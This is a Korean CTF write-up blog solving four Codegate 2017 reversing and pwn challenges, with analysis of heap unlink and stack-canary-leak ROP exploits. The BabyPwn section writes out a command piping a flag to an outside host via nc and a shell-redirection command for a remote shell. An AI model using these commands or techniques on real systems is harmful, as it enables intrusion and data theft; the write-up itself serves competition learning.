holinder4S

## Codegate CTF_2017(EasyCrack 101, rev)

[Summary]

1. 키 값을 찾아야 하는 간단한 바이너리가 101개 주어지고 각각의 바이너리의 키 값을 웹 페이지에 인증해야함

2. 바이너리들이 작고 101개가 전부 동일한 구조이므로 angr를 이용하여 자동화하여 문제를 풀 수 있음

[Analysis] 

  EasyCrack 101 문제는 Binary.zip 파일을 하나 던져주고 전부 다 크랙해서 패스워드를 찾아내 101개의 바이너리 

모든 패스워드를 웹을 통해 인증하는 문제였다. 우선 다운로드 받은 binary 파일들 중 prob1과 prob2를 아래 

[그림 1]과 같이 IDA를 이용해 분석해 보았다. prob1과 prob2 바이너리는 완전 동일한 구조로 이루어져 있었고

주소 값만 약간씩 다른 것을 확인할 수 있었다. 또한 이 문제도 angrybird 문제와 비슷하게 input값이 주어지면 

자체 연산을 거쳐 조건 분기문으로 가서 비교를 한 후 키 값이 맞으면  "Good job"이라는 문자열을 틀리면 

"No No!"라는 문자열을 출력하고 프로그램을 종료했다.

 따라서 이 문제도 angr를 이용해서 풀면 쉬울거라고 생각했다. 하지만 문제점이 하나 있는데 여기서 각 101개의

바이너리들의 모든 find 주소와 avoid 주소를 수동으로 직접 IDA를 켜서 눈으로 확인하고 angr로 만든 파이썬 

코드에 주소 값을 수정하면서 하나하나 키 값을 찾아내어 웹 상에 인증하는 것은 너무 비효율적이라고 생각이 

되었다.

[그림 1] prob1 & prob2 분석

 이 문제점은 아래 [그림 2]와 같이 avoid 주소의 어셈블리 코드(OPCODE)와 find 주소의 어셈블리코드(OPCODE)의 

특징을 이용하여 해결하였다.

[그림 2] find & avoid OPCODE 특징

 따라서 해당 OPCODE를 이용하여 find와 avoid 리스트를 자동으로 구한 후 angr를 이용하여 키 값을 자동으로 찾게 

파이썬 스크립트를 짠 후 실행하면 아래 [그림 3]과 같이 101개의 바이너리에 대한 각각의 키 값을 얻을 수 있게 된다.

[그림 3] 키 값 자동화

 각각의 키 값을 웹에 다 입력하게 되면 아래 [그림 4]와 같이 flag가 있는 웹페이지가 로드된다.

[Exploit Code] - easycrack101_exploit.py

[Get Flag~~!!!!]

[그림 4] flag 확인("Thank_U_4 s0lving_MY_Pr0b...u_@re_vEry_genius!!!")

끝~!

## Codegate CTF_2017(RamG-thunder, rev)

[Summary]

1. Step by Step으로 하나하나 조건을 만족시키면 된다.

2. 만족시킨 값들로 특정 헥사 바이너리들을 xor연산하면 png파일이 생성된다.

[Analysis] 

  RamG-thunder 문제는 윈도우 PE 바이너리이고 실행시키면 아래 [그림 1]과 같이 간단한 4가지의 단순한 메뉴와

1개의 히든 메뉴를 가지고 있는 프로그램이다. 여기서 중요한 메뉴는 4번을 누르면 나타나는 히든 메뉴이다.

(히든 메뉴는 String 검색을 통해 찾을 수도 있고 스위치문을 통해 찾을 수도 있음)

[그림 1] RamG 문제 실행

 이 프로그램을 OllyDBG와 IDA를 통해 동적/정적 분석해보도록 할 것이다. 우선 먼저 올리디버거로 해당 히든 메뉴

부분을 스트링 기반으로 Search하여 아래 [그림 2]와 같이 시작점에 bp를 걸고 분석을 진행할 것이다. 1번 메뉴

help는 step by step이라는 힌트를 준다.

[그림 2] 히든 메뉴

 이제 F8을 누르면서 진행하다 보면 2번 메뉴를 들어가면 0x4015f0함수를 호출하는 것을 확인할 수 있고 IDA를 통해

해당 함수의 첫 부분을 보면 아래 [그림 3]과 같이 스택에 알 수 없는 값들을 쓰는 것을 확인할 수 있다.

[그림 3] sub_4015f0 함수 첫 부분

 그리고 더 진행하다 보면 [그림 4]와 같이 stage1에서 키 입력을 받아 메모리에 저장되어 있는 특정 값과 xor하여

메모리에 저장되어 있는 값과 비교를 한다.

[그림 4] stage1 풀이

 이렇게 Stage1 부분은 위 그림과 같이 xor_answer와 실제 사용자 입력 값과 47459와 xor한 값을 strncmp함수 

기능을 하는 sub_405c20()함수로 5바이트 비교하기 때문에 "yamya"라는 입력 값을 집어넣으면 stage1을

통과하게 된다. 그리고 Stage2로 넘어가기 전 아래 [그림 5]와 같이 IsDebuggerPresent()함수와 프로세스 명을

기반으로 디버거를 탐지하는 안티디버깅 루틴이 존재하는데 이는 올리 디버거 상에서 간단히 NOP처리를 하거나

레지스터를 수정하면서 우회가 가능하다.

[그림 5] 안티 디버깅 루틴

 그 다음 Stage2는 아래 [그림 6]과 같이 Local MAC address의 앞 3자리를 특정 MAC address 앞 3자리

(C8-59-78-??-??-??)와 비교하는데 이 값만 올리디버거 상에서 똑같이 맞춰 주고 진행하면 Stage2도

클리어 할 수 있다.

[그림 6] Stage2 풀이

 그 다음 Stage3은 아래 [그림 7]과 같이 윈도우 레지스트리 "HKCU\Hellow"를 RegOpenKeyExW()함수로 오픈 

한 후에 "hellow_FishWorld"라는 값을 RegQueryValueExW()라는 함수를 이용하여 read한 다음 값이 다 제대로 

있으면 "hel"이라는 문자열을 그렇지 않으면 "fis"라는 문자열을 Stage3의 answer로 저장한다.

[그림 7] Stage3 풀이

 그 다음 Stage4는 아래 [그림 8]과 같이 Local MAC address의 앞 3자리를 특정 MAC address 앞 3자리

(00-0C-29-??-??-??)와 비교하는데 이 값만 올리디버거 상에서 똑같이 맞춰 주고 진행하면 Stage4도 클리어 할 

수 있다. 그리고 Stage5로 넘어가기 전에 이전에 [그림 5]에서 설명한 안티디버깅 루틴이 또 등장하는데 이것도 

아까와 똑같이 우회해주면 된다.

[그림 8] Stage4 풀이

 그 다음 Stage5는 이전의 Stage1과 아주 비슷하게 아래 [그림 9]와 같이 xor_answer와 실제 사용자 입력 값과

36742와 xor한 값을 strncmp함수 기능을 하는 sub_405c20()함수로 5바이트 비교하기 때문에 "hello"라는 입력 값을

집어넣으면 stage5를 통과하게 된다.

[그림 9] Stage5 풀이

 이제 모든 스테이지를 다 클리어 했고 마지막 분석만 남았는데 아래 [그림 10]과 같이 지금까지 클리어 했던 

Stage들의 정답들을 특정 메모리에다가 strncat함수 역할을 하는 sub_40AD50()함수를 이용하여 쓴다.

[그림 10] 각 Stage들의 정답 이어 붙이기

 이렇게 이어 붙인 정답은 [그림 3]에서 봤던 이상한 값들과 아래 [그림 11]에서 보듯이 xor연산을 하여 새로운 

메모리 영역에 값을 쓴 후 fopen()역할을 하는 sub_404620함수와 fwrite()역할을 하는 sub_405ED0함수를 

호출하여 c라는 png파일을 생성한다.

[그림 11] stage 최종 키 값과 xor연산 => c(png 파일) 생성

 이렇게 나온 c파일을 c.png로 바꾸고 열면 아래 [그림 12]와 같이 flag를 확인할 수 있다.

[Get Flag~~!!!!]

[그림 12] flag 확인("ThANk_yOu_my_PeOP1E")

끝~!

## Codegate CTF_2017(messenger, pwn)

[Summary]

1. heap overflow 취약점(사이즈 체크를 하지 않아서)

2. unsafe unlink 취약점을 이용하여 공격(쉘코드 이용) & Memory Leak

[Analysis] 

  messenger 문제는 [그림 1]과 같이 64bit 바이너리로 보호기법으로는 Stack Canary가 걸려있고 NX는 걸려있지 

않은 것을 확인할 수 있다. 실행시키면 마찬가지로 [그림 18]과 같이 5가지의 단순한 메뉴를 가지고 있는 

프로그램이다. 1번 메뉴는 Leave message기능으로 사용자 입력을 받아 힙에 동적으로 할당하여 message를 

남기는 기능을 수행한다. 2번 메뉴는 Remove message 기능으로 남긴 메시지를 지우는 기능을 수행한다. 

3번 메뉴는 Change message 기능으로 남긴 메시지를 수정할 수 있는 기능을 제공한다. 4번 메뉴는 입력한 

메시지를 확인하는 메뉴이다. 마지막으로 5번 메뉴는 exit 기능으로 단순히 프로그램을 종료하는 기능을 

제공하는 메뉴이다.

 전체 프로그램을 IDA를 통해 분석한 결과 이 프로그램의 몇 가지 특징을 간단히 정리해보면

   1. Leave 메뉴로 남길 수 있는(동적할당으로 힙청크를 생성할 수 있는 횟수) 메시지는 2개로 제한되며,

   2. uaf를 막기 위해 삭제된 청크를 보거나 할 경우 에러를 띄우며,

   3. Change 메뉴를 이용할 때 size를 체크하지 않아 힙 오버플로우를 유발한다.

 이제 이러한 특징들을 이용하여 이 프로그램의 취약점을 공략할 건데 위에서 정리한 프로그램의 특징 중 힙

오버플로우가 발생하는 코드는 아래 [그림 1]과 같다.

[그림 1] 힙 오버플로우 발생 코드

 따라서 이 취약점을 확인하기 위해 IDA를 이용하여 동적 디버깅을 해볼건데 시나리오는 우선 1번 메뉴(Leave)를

이용하여 2개의 메시지를 남긴 후 3번 메뉴(Change)를 이용하여 사이즈 체크를 하지 않는 점을 이용하여 2번째 

힙 청크를 덮어씌울 수 있는지 확인하는 것이다. 이 시나리오대로 실행하면 아래 [그림 2]와 같이 힙 오버플로우가

발생하여 다른 힙 청크를 덮어씌우는 것을 확인할 수 있다.

[그림 2] 힙 오버플로우 확인

 이제 이를 어떻게 활용할 것인가에 대해 생각을 해보아야 하는데 처음에는 1번 leave메뉴를 2번 사용하여 힙 2개를

malloc으로 할당 받은 후 3번 Change메뉴를 이용하여 1번째 힙 청크에서 오버플로우를 시켜 2번째 힙 청크의 헤더를

바꾼다음 2번 remove메뉴를 이용하여 2번째 힙 청크를 free 시키고 마지막으로 1번 메뉴를 다시 이용하여 힙 청크를

새로 할당 받을 대 변조된 힙 청크의 헤더로 인해 got영역에 malloc 할당이 되어 원하는 값을 쓰려고 했다.

 하지만 이 방법이 제대로 되지 않아 다른 방법을 찾기위해 malloc을 해주는 함수와 free를 해주는 함수를 분석 

하다보니 free역할을 하는 함수 부분 중 다음 [그림 3]의 코드에서 free하는 현재 청크의 bk의 fd를 현재 청크의 

fd로 바꾸는 unlink 하는 과정에서 취약점이 발생하여 임의의 주소에 현재 청크의 fd(다음 힙 청크(next chunk, fd))

의 주소를 쓸 수 있다는 것을 확인하였다.

[그림 3] free 내의 unlink 취약점

 이러한 취약점을 바탕으로 페이로드를 구성하여 실행하면 아래 [그림 4, 5]와 같은 힙 상황과 실제 got영역에 있는

exit()함수의 got(0x602070)에 현재 힙 청크의 fd주소가 덮어씌어지는 것을 확인할 수 있으며 마지막으로 exit()

함수를 트리고하기 위해 마지막 Quit 메뉴를 이용하면 exit함수가 실행되면서 덮어씌어진 got로 넘어가게 되고 

이는 힙 주소이다.

 만약 이 부분에 쉘코드가 있다면 NX도 걸려있지 않기 때문에 실행가능하게 되므로 최종 페이로드 구성에서는

got를 덮은 이 후 그 주소(2번째 힙 청크 다음 3번째 힙 청크가 될 곳)에 2번 Change 메뉴를 통해 쉘코드를

집어넣은 후 Quit 메뉴를 실행하면 정상적으로 쉘코드가 실행될 것이다.

[그림 4] next chunk's bk 수정

[그림 5] exit()'s GOT overwrite

 여기까지 잘 왔는데 마지막으로 3번째 문제가 생긴다. 위 [그림 3]에서 이전 청크의 fd에 현재 청크의 fd가 덮어

씌어지는데 마찬가지로 아래 [그림 6]의 코드에 의해 unlink동작에서는 현재 청크의 bk에 이전 청크의 bk가 덮어

씌어지는데 이 때문에 쉘코드가 중간에 끊기게 된다.

[그림 6] free 내의 unlink 쉘코드 문제점

 이를 해결하기 위해서 생각해낸 방법은 2번째 힙 청크의 데이터 영역에 쉘코드를 집어넣고 got가 가리키는

곳에는 전체 쉘코드가 아니라 2번째 힙청크의 데이터 영역의 주소를 push; ret; 하는 쉘코드만 집어넣으면

쉘코드가 짤리지 않고 잘 동작하게 된다. 이를 하기 위해서는 2번째 힙 청크의 데이터 영역의 주소를 알아야

하는데 이는 힙 주소 릭을 이용해서 오프셋 계산을 해야 한다.

 힙 주소를 릭하는 방법은 babypwn에서 주소 릭하는 방식과 비슷하게 먼저 Leave 메뉴를 이용해 힙 청크

하나를 생성하고 Change 메뉴를 이용하여 1번째 청크의 fd의 bk이전까지 A로 가득(64개) 채운 다음 View

메뉴를 이용하여 1번째 청크의 fd의 bk를 릭하고 주소 계산(+0x60)을 한다. 그리고 마지막으로 quit메뉴를

통해 트리거를 하면 아래 [그림 7]과 같이 쉘을 딸 수 있다.

[Exploit Code] - messenger_exploit.py

[Get Shell & Flag~~!!!!]

[그림 7] Get Shell & Get Flag("1_wan3_y0ur_m3ssenger$%")

끝~!

## Codegate CTF_2017(BabyPwn, pwn)

[Summary]

1. Stack Overflow & Stack Canary => Canary Leak(memory leak) & ROP

2. 서버 쉘 획득 가능, 리다이렉션 필요 => nc 사용 또는 "/bin/sh -i <&4 >&4 2>&4"명령으로 클라이언트에서 쉘 획득

[Analysis] 

  BabyPwn 문제는 [그림 1]과 같이 32bit 바이너리로 보호기법은 Stack Canary와 NX가 걸려있는 것을 확인할 

수 있다. 실행시키면 마찬가지로 [그림 1]과 같이 3가지의 단순한 메뉴를 가지고 있는 프로그램이다. 1번째 메뉴는 

echo 기능을 하는데 입력 값을 받아 그대로 에코해주는 기능이며 2번째 메뉴는 reverse echo 기능 즉 입력받은 값을 

거꾸로 출력해주는 기능이다. 마지막 3번째 메뉴는 Exit 메뉴로 프로그램을 종료하는 메뉴이다.

[그림 1] babypwn 문제 보호 기법과 실행 화면

이 프로그램에서 echo 기능을 가진 부분을 IDA를 통해 분석해보면 [그림 2]와 같이 간단한 스택 버퍼오버플로우 취약점이 있는

것을 확인할 수 있다. 따라서 이 취약점을 이용하여 Exploit을 할 것인데 첫 번째 문제가 발생한다. 버퍼오버플로우 취약점은

있으나 Stack Canary가 있기 때문에 이 Canary값을 릭하여 알아내야 한다.

[그림 2] 스택 버퍼오버플로우 취약점

위 [그림 2]와 같이 v2변수는 ebp기준 -0x34위치인데 sub_8048907에서 사용자로부터 입력을 받지만

2번째 인자(0x64)만큼 사용자 입력을 받기 때문에 ret를 덮어씌울 수 있다. 하지만 위에서 말했듯이 Stack Canary가

걸려 있기 때문에 이 Canary를 릭하여 문제를 풀어야 하는데 우선 Canary가 있는 위치는 아래 [그림 3]과 같이

ebp기준 -0xc에 위치하게 된다. 그리고 참고로 이 문제같은 경우 아래 [그림 3]에서 보듯이 문제 자체가 서버

프로그램이고 fork()함수를 이용하여 사용자 클라이언트를 처리하기 때문에 Canary의 값이 매번 같아 한번만 Canary를

릭하면 이후 계속 그 Canary를 사용할 수 있다.

[그림 3] Stack Canary 위치 & fork() 함수

이제 Stack Canary의 위치와 fork()의 특성상 Canary가 바뀌지 않는다는 것을 알았고, 이 Canary의 값을 릭하여야

하는데 릭은 스택 버퍼오버플로우 취약점이 존재하는 1번 echo 메뉴를 통해 할 수 있다. 1번 echo 메뉴는 [그림 4]와

같이 send()함수를 이용하여 사용자가 입력한 문자열을 클라이언트에 출력해주는데 Stack Canary 바로 직전까지

문자열을 입력하고 strlen() 함수로 문자열의 길이를 체크한 후 send()함수의 인자로 출력할 바이트를 넣게 되는데

strlen()함수는 문자열의 끝(0x00)이라고 인식되는 부분까지의 길이를 반환해주기 때문에 사용자가 Stack Canary의

바로 직전까지 입력을 하면 뒤에 이어오는 Canary값도 strlen()에 의해 포함되기 때문에 Canary의 값을 릭할 수 있게 된다.

[그림 4] echo 기능 디컴파일 소스

이러한 점을 모두두 종합하면 아래 [그림 5]와 같은 스택 상황을 만들어 Canary 릭을 할 수 있다.

[그림 5] 스택 상황 & 스택 Canary 릭(같은 Canary 확인)

여기 까지 완료하고 첫 번째 문제는 끝났다. 이제 단순 스택 버퍼오버플로우기 때문에 RET만 system함수로 바꿔주고

인자 값을 원하는 command로 넣어주기만 하면 exploit은 끝나게 된다. 이 문제에서 2번째 문제는 system("/bin/sh")를

이용하여 쉘을 따려고 하면 서버에서 따지기 때문에 의미가 없다. stdin과 stdout을 dup2()함수를 이용하여 연결해주면

리모트로 쉘을 딸 수는 있지만 해당 바이너리에 dup2()함수가 존재하지 않기 때문에 rop를 하려면

libc를 릭하여 찾아야 한다.

따라서 이 문제를 해결하기 위해서 "command | nc my-IP my-port"명령을 이용하여 미리 열어둔 tcp포트에

command의 결과를 전송하도록 exploit을 하였다. 이렇게 원하는 명령을 system()함수의 인자로 넣는 rop로 하여야

하는데 이 때 command가 바이너리에 그대로 박혀있는 것이 아니기 때문에 주소 값을 모른다. 따라서 recv()함수로

rop를 하여 아래 [그림 6]과 같이 data영역(0x804b080)에 원하는 command를 쓰고 system()함수의 인자 값으로

넣는 방법을 사용하였다.

[그림 6] 최종 페이로드 & system("cat flag | nc x.x.x.x 4444")

 이제 다 끝났고 해당 페이로드대로 코드를 구성하여 exploit코드를 짜면 아래 [그림 7]과 같이 exploit 코드가 정상 

동작하여 미리 nc로 열어둔 포트로 명령어의 결과가 전송되어 플래그를 확인할 수 있다. 추가적으로 이렇게 nc를 

이용하는 방법외에 "/bin/sh -i <&4 >&4 2>&4"명령을 이용하여 파일 디스크립터의 리다이렉션을 잘 활용하여 

쉘을 딸 수도 있다.

[Exploit Code] - babypwn_exploit.py

[Get Shell & Flag~~!!!!]

[그림 7] 명령어 결과 확인 & Flag("Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^")

끝~!